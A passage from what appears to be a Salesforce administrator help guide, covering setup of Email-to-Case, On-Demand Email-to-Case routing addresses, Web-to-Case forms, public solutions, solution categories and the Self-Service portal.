
Support or Standard Support.

Email Address

Email2Case source only: The inbound email address for this


Email-to-Case routing address. Emails sent to this address

1373

Customize

Enabling and Configuring Email-to-Case

Setting

Description
are created as cases using the specified settings. The email
address must be unique. Note that this is the email address
to which you will provide a link on your company's support
website.

Save Email Headers

Email2Case source only: Select this checkbox to save the email


routing information associated with each email submitted
as a case. Saving email routing information counts towards
your organization's overall storage limit.
To view email headers from an email converted to a case,
see Working with Case Emails on page 3193.

Create Task from Email

Email2Case source only: Select this checkbox to automatically


assign a task to the case owner when an email is submitted
as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 1306
and Customizing Support Settings on page 1366.

Task Status

Email2Case source only: Choose a status from this drop-down


list with which to predefine the Status field on tasks
automatically assigned to case owners when email is
submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.

Case Owner

Outlook source only: The owner of the case, which can be


either an individual user or a queue.

Case Priority

The priority assigned to cases created from emails sent to


this email address.

Case Origin

The value assigned to the Case Origin field for cases


created via this Email-to-Case routing information.

Case Record Type

The record type used to create cases from emails sent to this
email address. If a routing address has a case record type of
None, then new cases will default to the record type of the
user configured in the Email-to-Case agent. If your
organization does not use record types, this setting is not
available.

5. Click Save to save the routing address settings.


Alternatively, click Save & New to save the routing address, and then create a new routing address.

1374

Customize

Enabling and Configuring Email-to-Case

A verification email is immediately sent to the new routing address, which will not be verified until you click the verification
link in the email.
6. Click the link in the verification email.
Optionally, click Verify next to the email address on the Email Address detail page to have Salesforce send another
verification email to the new routing address.
Salesforce notifies you when the new email routing address is verified.
7. Click Continue.
8. Return to the Email-to-Case Settings page by clicking Your Name > Setup > Customize > Cases > Email-to-Case.
9. Click Edit to apply the following Email-to-Case settings:
Email-to-Case Setting

Description

Enable Email-to-Case

Select this checkbox to activate Email-to-Case.

Notify Case Owners on New Email

Select this checkbox to allow case owners to automatically


receive notifications when email arrive for their existing
cases. Email notifications assign a task to the case owner to
respond to the new email. Responding to the email closes
the task. To disable email notifications at any time, simply
deselect the checkbox.

Enable HTML Email

Select this checkbox to warn users before they view incoming


HTML email content so that they can avoid opening
potentially malicious HTML that could harm their
computers. With this setting disabled, users will see text
instead of HTML on email message detail pages, and when
users reply to an email, the text version of the email will be
copied to the email editor, instead of the HTML version.
To disable HTML email warnings at any time, simply
deselect the checkbox.

Email Subject

Select this checkbox to add the thread ID to the subject of


email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:_DV0Txx._500V0U9YB:ref]. By default, the thread ID
is added to both the subject and body of case emails.

Email Body

Select this checkbox to add the thread ID to the body of


email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:_DV0Txx._500V0U9YB:ref]. By default, the thread ID
is added to both the subject and body of case emails.

1375

Customize

Enabling and Configuring Email-to-Case

10. Click Save.


Email-to-Case Tips
Consider the following when setting up a routing address for Email-to-Case:

When a customer sends an email to this routing address, a case is created in your organization with the email subject as
the case Subject and the email body as the case Description.
The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email. Salesforce processes the
routing address of an inbound email in the following order and stops at the first match:
1. To
2. CC
3. BCC

Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email.
To have cases that are created via Email-to-Case automatically display in the Self-Service portal, see Enabling Self-Service
Features and Settings on page 1393.
The limit on the number of emails a day that an organization can convert into cases is 2,500 per day for Professional,
Enterprise, Unlimited, and Developer Editions (total number of cases, inclusive of all email addresses). If your organization
exceeds its daily Email-to-Case limit, the following API exception code is returned to the Email-to-Case agent:
EMAIL_TO_CASE_LIMIT_EXCEEDED. You can configure the agent to take appropriate action, such as notifying
your administrator, when this occurs.
Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to emails.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.

When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce to comply with email applications that require
Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 1034.

See Also:
Displaying and Editing Cases
Working with Case Emails
Managing Assignment Rules
Setting Up Auto-Response Rules

1376

Customize

Enabling and Configuring On-Demand Email-to-Case

Enabling and Configuring On-Demand Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up On-Demand Email-to-Case

Customize Application

To enable On-Demand Email-to-Case

Modify All Data


AND
Customize Application

This topic describes how to enable and configure On-Demand Email-to-Case using the options available on the Email-to-Case
Settings page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before
and after the tasks described in this topic.
Before getting started, review the information in Tips and Considerations for On-Demand Email-to-Case on page 1381.
To enable and configure On-Demand Email-to-Case, perform the following procedures in order:
1. Enabling On-Demand Email-to-Case
2. Defining and Verifying Email Routing Addresses
3. Configuring Email-to-Case Settings
Enabling On-Demand Email-to-Case
To enable On-Demand Email-to-Case:
1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. If the Support Settings page appears, click the link to select the Default Case Owner and Automated Case User. Then,
click Save. Otherwise, proceed to the next step.
4. Select the Enable Email-to-Case checkbox. Keep in mind, after you enable Email-to-Case, you cant disabled it.
5. Select the Enable On-Demand Service checkbox.
To disable On-Demand Email-to-Case at any time, clear the checkbox. You can also enable On-Demand Email-to-Case
again at any time.
6. Click Save. You will configure the remaining settings later.
Defining and Verifying Email Routing Addresses
To define and verify email routing addresses:
1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page.
2. On the Routing Addresses related list, select a routing source from the drop-down list.

If youre defining email routing addresses for Salesforce for Outlook users, select Outlook.
For all other email systems, select Email2Case.

3. On the Routing Addresses related list, click New.

1377

Customize

Enabling and Configuring On-Demand Email-to-Case

4. Enter the routing address settings:


Setting

Description

Routing Name

The name for the routing address. For example, Gold


Support or Standard Support.

Email Address

Email2Case source only: The inbound email address for this


On-Demand Email-to-Case routing address. Email sent to
this address creates new cases using the specified settings.
The email address must be unique.
Note that this is the email address to which you will provide
a link on your company's support website.

Save Email Headers

Email2Case source only: Select this checkbox to save the email


routing information associated with each email submitted
as a case. Saving email routing information counts towards
your organization's overall storage limit. For more
information, see Monitoring Resources on page 752.
To view email headers from an email converted to a case,
see Working with Case Emails on page 3193.

Accept Email From

Leave this field blank to allow On-Demand Email-to-Case


to receive email from any email address or domain. Or, you
can limit the email addresses and domains available for
On-Demand Email-to-Case by entering them in this field.

Create Task from Email

Email2Case source only: Select this checkbox to automatically


assign a task to the case owner when an email is submitted
as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 1306
and Customizing Support Settings on page 1366.

Task Status

Email2Case source only: Choose a status from this drop-down


list with which to predefine the Status field on tasks
automatically assigned to case owners when email is
submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.

Case Owner

Outlook source only: The owner of the case, which can be


either an individual user or a queue.

Case Priority

The priority assigned to cases created from emails sent to


this email routing address.

Case Origin

The value assigned to the Case Origin field for email sent
to this email routing address.

1378

Customize

Enabling and Configuring On-Demand Email-to-Case

Setting

Description

Case Record Type

The record type used to create cases from emails sent to this
email routing address.
This setting is not available if your organization does not
use record types.
The user in the Automated Case User field on the
Support Settings page will automatically receive a notification
if he or she does not have access to the selected case record
type.

5. Click Save to save the routing address settings. Alternatively, click Save & New to save the routing address, and then
create a new routing address.
You can save routing addresses only if a user is included in the Automated Case User field on the Support Settings
page. To add a user to the Automated Case User field, click Your Name > Setup > Customize > Cases > Support
Settings.
A verification email is immediately sent to the new routing address which includes a link that you click to complete the
verification process. The new routing address will not be verified until you open the email and click the link.
6. Click the link in the verification email.
When the new email routing address is verified, it is listed as Verified in the Routing Addresses related list on the
Email-to-Case Settings page. In addition, Salesforce automatically generates a unique email service address with which
you configure your email system to forward case submissions. This email services address displays in the Routing Addresses
related list on the Email-to-Case Settings page and on the detail page of a each routing address.
Tip: To send additional verification emails to a new routing address, go to the Routing Addresses related list on the
Email-to-Case Settings page and click Verify next to the email address.
After verifying a routing address, click its name in the Routing Addresses related list to view its details, edit its settings,
or clone new copies of it.
Configuring Email-to-Case Settings
To configure Email-to-Case settings:
1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. As appropriate, set the following options:
On-Demand Email-to-Case Setting

Description

Notify Case Owners on New Email

Select this checkbox to allow case owners to automatically


receive notifications when emails arrive for their existing
cases. Email notifications assign a task to the case owner to
respond to the new email when the Create Task from
Email checkbox is selected. Responding to the email closes
the task. To disable email notifications at any time, simply
deselect the checkbox.

Enable HTML Email

Select this checkbox to warn users before they view incoming


HTML email content so that they can avoid opening

1379

Customize

Enabling and Configuring On-Demand Email-to-Case

On-Demand Email-to-Case Setting

Description
potentially malicious HTML that could harm their
computers. With this setting disabled, users will see text
instead of HTML on email message detail pages, and when
users reply to an email, the text version of the email will be
copied to the email editor, instead of the HTML version.
To disable HTML email warnings at any time, simply
deselect the checkbox.

Email Subject

Select this checkbox to add the thread ID to the subject of


email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref]. By default, the thread ID is
added to both the subject and body of case emails.

Email Body

Select this checkbox to add the thread ID to the body of


email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref]. By default, the thread ID is
added to both the subject and body of case emails.

Over Email Rate Limit Action

Choose what On-Demand Email-to-Case does with email


that surpasses the daily email processing limit for your
organization:
Bounce message - The email service returns the message
to the sender or to the Automated Case User for
On-Demand Email-to-Case, with a notification that
explains why the message was rejected.
Discard message - The email service deletes the message
without notifying the sender.
Requeue message - The email service queues the message
for processing in the next 24 hours. If the message is not
processed within 24 hours, the email service returns the
message to the sender with a notification that explains
why the message was rejected.
For more information on email processing limits, see Tips
and Considerations for On-Demand Email-to-Case.

Unauthorized Sender Action

If you limited the email addresses and domains available for


On-Demand Email-to-Case in the Accept Email From
field, choose what happens to messages received from senders
who are blocked:
Bounce message - The email service returns the message
to the sender or to the Automated Case User for
On-Demand Email-to-Case, with a notification that
explains why the message was rejected.

1380

Customize

Enabling and Configuring On-Demand Email-to-Case

On-Demand Email-to-Case Setting

Description

Discard message - The email service deletes the message


without notifying the sender.

4. Click Save.

Tips and Considerations for On-Demand Email-to-Case


Consider the following when setting up routing addresses for On-Demand Email-to-Case:

A Data Not Available error displays if you have an email service named EmailToCase. If you have an email service
named EmailToCase, and you wish to create routing addresses for On-Demand Email-to-Case, you must:
1. Rename the email service from EmailToCase to another name.
2. If the Enable On-Demand Service checkbox is selected for On-Demand Email-to-Case:
i. Deselect Enable On-Demand Service.
ii. Click Save.
iii. Click Edit on the Email-to-Case settings page.
iv. Select Enable On-Demand Service.
v. Click Save.

The following error message is sent to the Automated Case User after an email is converted to a case and a workflow
rule attempts to add a field value to the case that surpasses field value limits:
CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY: A workflow or approval field update caused
an error when saving this record. Contact your administrator to resolve it. When
this error occurs, any auto-response rules set up in your organization do not send a response to the user who sent the email.
You can prevent similar errors from happening by deactivating the workflow rule.
When a customer sends an email to a routing address, a case is created in your organization with the email subject as the
case Subject and the email body as the case Description.
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending
on how you configure over email rate limit settings for each email service. (See also failure response settings.) Salesforce
calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example,
if you have ten licenses, your organization can process up to 10,000 email messages a day.
Email services limits apply to On-Demand Email-to-Case.
Text in an email that is over 128 KB is automatically truncated to fit a case record. The text is truncated to either 128 KB
or 32 KB, depending on how Salesforce has enabled On-Demand Email-to-Case for your organization.

The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email.
Some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate properly
if the routing address is included in the BCC field of an inbound email. Furthermore, an email may not convert to a case
properly if you include the email services address in the BCC field of an email.
If you use Microsoft Outlook to redirect emails to a routing address:

1381

Customize

Enabling Public Solutions

The CC Address field may be blank on cases created from emails.


Only one email address may be included in the To field of emails.

This is because some versions of Outlook redirect emails with only one address in the To field and no addresses in the CC
field. To prevent these issues, consider using Microsoft Exchange Server instead of Outlook to redirect emails to a routing
address.
To have cases that are created via On-Demand Email-to-Case automatically display in the Self-Service portal, see Enabling
Self-Service Features and Settings on page 1393.
Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to email.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.

If there is an error processing an email to a case via a routing address, a notification is sent to the Automated Case
User.
If email is sent to a routing address or email services address when On-Demand Email-to-Case is disabled, a notification
is sent to the user who created the routing address.
When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce to comply with email applications that require
Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 1034.

See Also:
Creating Workflow Rules
Setting Up Auto-Response Rules

Enabling Public Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable web access to solutions:

Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Using the Solutions tab, your customer support team can create solutions that people outside of your organization may find
helpful. Using HTML code supplied by Salesforce, and with the help of your website administrator, you can add a search box
and button to your website that allows your customers to search for solutions. This functionality is known as Public Solutions.
With public solutions, your customers can find answers to frequently asked questions without having to call your customer
support center. All solutions with a Status of Reviewed and the Visible in Public Knowledge Base field checked
will be available as public solutions, including any solution attachments.

1382

Customize

Enabling Public Solutions

Public solutions are different from the Self-Service portal and Salesforce Customer Portal because users are not required to
log in, and they can only search for solutions, not submit cases. For more information about the Self-Service and Customer
Portal, see Setting Up Self-Service on page 1390 and Setting Up Your Customer Portal on page 1664.
Note:

The search box and button are displayed in a frame; your website must support frames in order for the solution
search feature to work.
Suggested solutions does not display Salesforce Knowledge articles.

To enable Web access to solutions:


1.
2.
3.
4.

Click Your Name > Setup > Customize > Self-Service > Public Solutions.
Click Edit.
Check Public Solutions Enabled.
If your organization uses solution categories, check Enable Solution Browsing to allow customers to browse solutions
by category. Solution categories cannot be translated into other languages for public solutions.
If multilingual solutions is enabled for your organization, you can add a language drop-down list to public solutions so
that customers can choose which language to search for solutions. For more information, see Customizing Solution Settings
on page 1389.

5. If solution category browsing is enabled, select the Top-Level Category accessible by customers in public solutions.
Customers can view all solutions in this category and its subcategories if they are marked Visible in Public Knowledge
Base.
Leave Top-Level Category blank if you want customers to view all solutions in all categories when they are visible as
public solutions.
6. If desired, you can change the appearance of the frame on your website by specifying the Maximum Page Width and
Minimum Page Height.
7. Provide the URL of your CSS page in Style Sheet URL. The CSS file does not have to exist yet; you can download a
sample file as a starting point later, or use your own file.
8. You can change the word or phrase that is used to describe solutions in the frame in Alternative Term. Provide singular
and plural versions of the term.
9. Click Save.
10. If desired, click Download Sample CSS File to get the Salesforce style sheet.
11. Click Generate HTML.
12. Copy the resulting HTML code and click Finished.
13. Send the HTML (and the CSS file, if you downloaded it) to your website administrator to be added to your site as follows:

Add the HTML to your Web page.


Customize the downloaded style sheet.
Host the style sheet in a publicly accessible location on your Web server.

1383

Customize

Capturing Web Cases

Capturing Web Cases


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Case:

Customize Application

With Web-to-Case, you can gather customer support requests directly from your companys website and automatically generate
up to 5000 new cases a day. This can help your organization respond to customers faster, thus improving the productivity of
your support team.
Preparation
Before setting up Web-to-Case:

Create custom case fields, if needed (see About Custom Fields on page 1074).
Create a default email template for the automated notification email that will be sent to your customers upon submission
of each case (see Managing Email Templates on page 472).
Create case queues if you wish to assign incoming cases to queues as well as individual users (see Managing Queues on
page 595).
Customize the Support Settings to select the default owner of cases that fail to meet the criteria in your assignment rule
(see Customizing Support Settings on page 1366).
Create an active case assignment rule to determine how web-generated cases are assigned to users or put into queues (see
Managing Assignment Rules on page 1305). If you do not set an active assignment rule, all web-generated cases are assigned
to the default owner you specify in the Support Settings.

For information on setting up Web-to-Case, see Setting Up Web-to-Case on page 1384.

Setting Up Web-to-Case
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Case:

Customize Application

To set up Web-to-Case:
1. See Preparation on page 1384.
2. Click Your Name > Setup > Customize > Self-Service > Web-to-Case. This tool helps you generate the HTML code
that your webmaster can insert into your company's website.
a. Click the link to enable Web-to-Case, and check the box to turn it on.
b. Select a default response template for automatically notifying customers that their case was created.

1384

Customize

Setting Up Web-to-Case

If you set up response rules to use different email templates based on the information submitted, the default email
template is used when no response rules apply. For instructions on setting up response rules, see Setting Up
Auto-Response Rules on page 1313. Leave this option blank if you do not wish to send emails when no response rules
apply. This template must be marked as Available for Use.
c. Choose the default Origin for all Web cases, and click Save.
d. Click Generate the HTML.
Tip: Use a custom multi-select picklist to allow customers to report cases on several products at a time.

e. To select the fields to include on your Web-to-Case form, use the Add and Remove arrows to move fields between
the Available Fields list and the Selected Fields list. Use the Up and Down arrows to change the order of the fields on
your form.
For organizations using multiple currencies, add the Case Currency field to the HTML if you add any other currency
amount fields, otherwise all amounts will be captured in your corporate currency.
For organizations using record types on cases, select the Case Record Type field if you want users submitting
Web-generated cases to select specific record types.
f. If your organization uses the Self-Service portal or the Customer Portal and you want Web-generated cases to be visible
to users in these portals, select Visible in Self-Service Portal.
g. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels
displayed on your Web-to-Case form. The source of your Web-to-Case form is always in your personal language.
h. Specify the complete URL to which customers should be directed after they submit their information, and click
Generate. This could be a thank you page or your company's home page.
3. Copy the generated HTML code and provide it to your companys webmaster so he or she can incorporate it into your
website.
4. Click Finished.
5. If you want to test the Web-to-Case form, add the line <input type="hidden" name="debug" value="1"> to
the code. This line redirects you to a debugging page when you submit the form. Don't forget to remove it before releasing
the Web-to-Case page to your website.
Note:

All Web-generated cases that are not assigned automatically via the case assignment rule are assigned to the default
case owner specified in your Support Settings page.
Whenever possible, Web-generated cases are automatically linked to the relevant contact and account based on
the customers email address.
Salesforce runs field validation rules before creating records submitted via Web-to-Case and only creates records
that have valid values. All universally required fields must have a value before a record can be created via
Web-to-Case.
The format for date and currency fields captured online is taken from your organizations default settings - Default
Locale and Currency Locale.
Salesforce doesnt support rich text area (RTA) fields on Web-to-Case forms. If you use RTA fields on your forms,
any information entered in them is saved as plain text when the case is created.

1385

Customize

Managing Solution Categories

If your organization exceeds its daily Web-to-Case limit, the default case owner (specified in your Support Settings
page) will receive an email containing the additional case information.

See Also:
Assigning Cases
Displaying and Editing Cases
Managing Assignment Rules
Setting Up Customer Support
Setting Up Self-Service
Setting Up Auto-Response Rules

Managing Solution Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change solution categories:

Manage Categories

Create solution categories so that users can group similar solutions together. Once your solutions are categorized, users can
browse for and find solutions by category from the Solutions tab or when solving a case. Customers can also browse solutions
by category in public solutions, the Self-Service portal, and the Customer Portal.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

See Also:
Getting Started with Categories
Defining Solution Categories
Entering Translated Terms

1386

Customize

Getting Started with Categories

Getting Started with Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change solution categories:

Manage Categories

Follow these steps to ensure a successful rollout of solutions:


1. Plan which categories your support team needs.
Keep in mind that you can also allow customers to find solutions by category in public solutions and your Self-Service
portal. You can specify that customers can view only solutions in a particular category and all of its subcategories.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
2. Define your categories; see Defining Solution Categories on page 1387.
3. Categorize your solutions; see Categorizing Solutions on page 3259. Administrators, and users with the Manage Categories
permission, can categorize solutions prior to enabling solution categories for the entire organization.
4. Create a custom report of type Solution Categories to verify that all solutions are categorized appropriately. To find any
uncategorized solutions, use the advanced report filters; choose the Category Name field and the equals operator, and
leave the third field blank. Administrators, and users with the Manage Categories permission, can create solution category
reports prior to enabling solution categories for the entire organization.
5. Enable solution category browsing for the Solutions tab; see Customizing Solution Settings on page 1389.
6. Enable solution category browsing for customers using public solutions and your Self-Service portal. See Enabling Public
Solutions on page 1382 and Enabling Self-Service Features and Settings on page 1393.
7. Specify the top-level category accessible by customers using public solutions and your Self-Service portal. This is useful if
you want to have certain categories available only to internal staff.
Leave this blank if you want customers to view all categories and all solutions that are visible in Self-Service portal or visible
in public solutions.

See Also:
Managing Solution Categories

Defining Solution Categories


Begin by creating your solution categories. The All Solutions category is automatically created for you as the top of your
solution hierarchy. Users cannot add solutions to this category or translate it.
1. Click Your Name > Setup > Customize > Solutions > Solution Categories.
2. Click Add Category to create a subcategory below a specific category.

1387

Customize

Defining Solution Categories

3. Enter the category name. Category names cannot include the backslash \ character.
4. Select a different parent category, if desired. The parent category is the category directly above this category in the hierarchy.
5. Select a sort order for any subcategories you create under this category.

Choose Alphabetical Order to sort subcategories alphabetically.


Choose Custom Order to sort subcategories in the order you specify; see Adding and Sorting Subcategories on page
1388.

6. Click Save.
7. After creating categories, categorize your solutions. See Categorizing Solutions on page 3259. Administrators, and users
with the Manage Categories permission, can categorize solutions prior to enabling solution categories for the entire
organization.
8. Then, after categorizing solutions, turn on solution category browsing on the Solutions tab. See Customizing Solution
Settings on page 1389.
9. To enable solution category browsing for the public knowledge base or your Self-Service portal, see Enabling Public
Solutions on page 1382 and Enabling Self-Service Features and Settings on page 1393.
Editing and Deleting Categories
From the list of solution categories, you can:

Click Edit to modify the category name, parent category, or sort order.
Click Del to delete the category. The solutions associated with the category are not deleted.
Note: You cannot delete a category in use by a Salesforce Customer Portal. For more information, see Enabling
Customer Portal Login and Settings on page 1671.

Click the category name to view the category details.

Adding and Sorting Subcategories


From a category detail page, you can:

Click New to add a subcategory below the category.


Enter a custom sort order for the subcategories.
1. Edit the category to set the Subcategory Sort Order to Custom Order.
2. Enter numbers in the Order column to specify the order of the subcategories.
3. Click Reorder.

See Also:
Categorizing Solutions
Entering Translated Terms

1388

Customize

Customizing Solution Settings

Customizing Solution Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change solution settings:

Customize Application

To customize solution settings:


1. Click Your Name > Setup > Customize > Solutions > Solution Settings.
2. Click Edit.
3. Select Enable Solution Browsing to turn on the ability to browse for and find solutions by category.
This setting enables solution browsing on the Solutions tab, Customer Portal, and when solving a case. For information
on translating solution categories into multiple languages, see Entering Translated Terms on page 491.
4. Select Enable Multilingual Solutions to turn on the ability for users to translate solutions into multiple languages.
You can deselect the Enable Multilingual Solutions checkbox at any time, but deselecting it removes all associations
between master and translated solutions and automatically disables the Enable Multilingual Solution Search
in Self Service Portal and Enable Multilingual Solution Search for Public Solutions settings.
If you select the Enable Multilingual Solutions checkbox again, the associations between master and translated
solutions are restored.
5. Select Enable Multilingual Solution Search in Self-Service Portal to add a language drop-down list
to the Self-Service portal that automatically restricts search results to solutions that match the Self-Service portal users
language. From the language drop-down list, Self-Service portal users can choose whether to search for solutions in a
specific language or any language supported by Salesforce.
Deselecting this checkbox removes the language drop-down list from the Self-Service portal, and search results include
solutions in all languages, regardless of the Self-Service portal user's language.
6. Select Enable Multilingual Solution Search for Public Solutions to add a language drop-down list to
public solutions so that public solutions users can choose which language to search for solutions. From the language
drop-down list, public solutions users can choose whether to search for solutions in a specific language or any language
supported by Salesforce.
Deselecting this checkbox removes the language drop-down list from public solutions, and search results include solutions
in all languages.
7. Select Enable HTML Solutions to create and display solutions in HTML. When enabled, solutions appear in HTML
in Salesforce, public solutions, Self-Service portal, and Salesforce Customer Portal. Using HTML Solutions allows users
to easily format solution details by changing fonts and colors, and adding images and hyperlinks.
Caution: Once you select Enable HTML Solutions, you cannot disable it.

8. Select Solution Summary to display up to 150 characters of the solution details in the solution search results. Deselecting
this checkbox removes the solution summary from the results.

1389

Customize

Setting Up Self-Service

9. Select Inline Category Breadcrumbs to display up to 150 characters of the breadcrumb trail of categories to which
the solution belongs in the search results. Deselecting this checkbox removes the breadcrumbs from the results.
10. Click Save.
11. To enable solution browsing by customers in public solutions or your Self-Service portal, see Enabling Public Solutions
on page 1382 and Enabling Self-Service Features and Settings on page 1393.
In addition, you can customize the top-level category accessible by public solutions and Self-Service users. You do not
need to modify this setting if you want customers to view all categories and all solutions that are visible in the Self-Service
portal or visible in public solutions.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

See Also:
Categorizing Solutions
Managing Solution Categories
Enabling Multilingual Solutions
Setting Up Your Customer Portal

Setting Up Self-Service
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use Self-Service Jump Start:

Manage Self-Service Portal

To set up the Self-Service portal:

Manage Self-Service Portal

To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Self-Service provides an online support channel for your customers - allowing them to resolve their inquiries without contacting
a customer service representative.
Setting up your Self-Service portal is simple. Choose from two setup options:

Jump Start - Gets you up and running quickly; see Self-Service Jump Start on page 1392.
Self-Service Setup - Complete setup which allows you more customization. The setup consists of:
Enabling Self-Service Features and Settings on page 1393

1390

Customize

Preparation for Setting Up Your Portal

Customizing Your Self-Service Look and Feel on page 1396


Customizing Your Self-Service Fonts and Colors on page 1399
Customizing Your Self-Service Pages on page 1400
Generating Login HTML on page 1409
Managing Self-Service Users on page 1410

See Preparation for Setting Up Your Portal to learn more about implementing Self-Service.

See Also:
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Look and Feel
Self-Service Jump Start
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide

Preparation for Setting Up Your Portal


Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Before setting up your Self-Service portal or your Salesforce Customer Portal:

Build your public solutions - Review and mark your solutions as Visible in Self-Service Portal. Only solutions
marked Visible in Self-Service Portal can appear in the Self-Service portal or the Customer Portal. (See
Reviewing Solutions on page 3256.) For your Self-Service portal only, identify the top five solutions you want to feature on
the Home Page.
Determine the information to show and collect - Decide which case fields will be available when users view their cases.
You should also decide which fields should be required when users submit cases online and which picklist values users can
select when they solve their own cases with suggested solutions. (See Case Fields on page 3197.)
Designate the portal's location - Choose where to add your portal's login URL on your corporate website. To locate the
login URL for your Self-Service portal, see Generating Login HTML on page 1409; to locate the login URL for your
Customer Portal see Enabling Customer Portal Login and Settings on page 1671.
Customize your portal communication templates - Decide which email templates to send to users to communicate a
variety of information, such as reset passwords, notifications when public comments are added to cases, and case
auto-responses with suggested solutions.
Customize and distribute the portal tip sheet - Download the Using the Self-Service Portal and Customer Portal tip
sheet and edit it to match your portal's branding and features, such as suggested solutions and the ability to attach files to
submitted cases. Then distribute the document to your customers who want to learn how to answer their own inquiries
using your portal.

See Also:
Setting Up Self-Service
Enabling Salesforce CRM Content in the Customer Portal

1391

Customize

Self-Service Jump Start

Self-Service Jump Start


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use Self-Service Jump Start:

Manage Self-Service Portal

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Get your Self-Service portal running quickly using the Jump Start button. It automates the setup process by choosing some
default settings for you.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings > Jump Start.
Review the process and click Continue.
Choose a color theme.
Edit the default settings as needed and click Save.
Test your Self-Service portal by:
a. Clicking Generate to retrieve a test username and password.
b. Clicking Access Self-Service Portal to preview your pages.
c. Optionally, click Invite to notify other users how to log in and preview your pages.

6. Enable your Self-Service portal by copying the link provided in the Enable Self-Service... section to an appropriate place
on your website.
7. Click Done when finished.
8. Enable your customers to use your Self-Service portal. See Managing Self-Service Users on page 1410.
Tip: To make changes to your settings, see Enabling Self-Service Features and Settings on page 1393. The Self-Service
Jump Start automatically enables the Enable Self-Service button on contact detail pages.

1392

Customize

Enabling Self-Service Features and Settings

Enabling Self-Service Features and Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal:

Manage Self-Service Portal

To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
2. Click Self-Service Setup on the Self-Service Settings page.
3. Set the following options:
Setting

Description

Login Enabled

Allows users to log into the Self-Service portal.

Edit Self-Service Users

Displays the Enable Self-Service button on contact detail


pages. Or, for contacts in which Self-Service is already
enabled, the View Self-Service button displays.

Logout URL

The URL of the web page that will be displayed when users
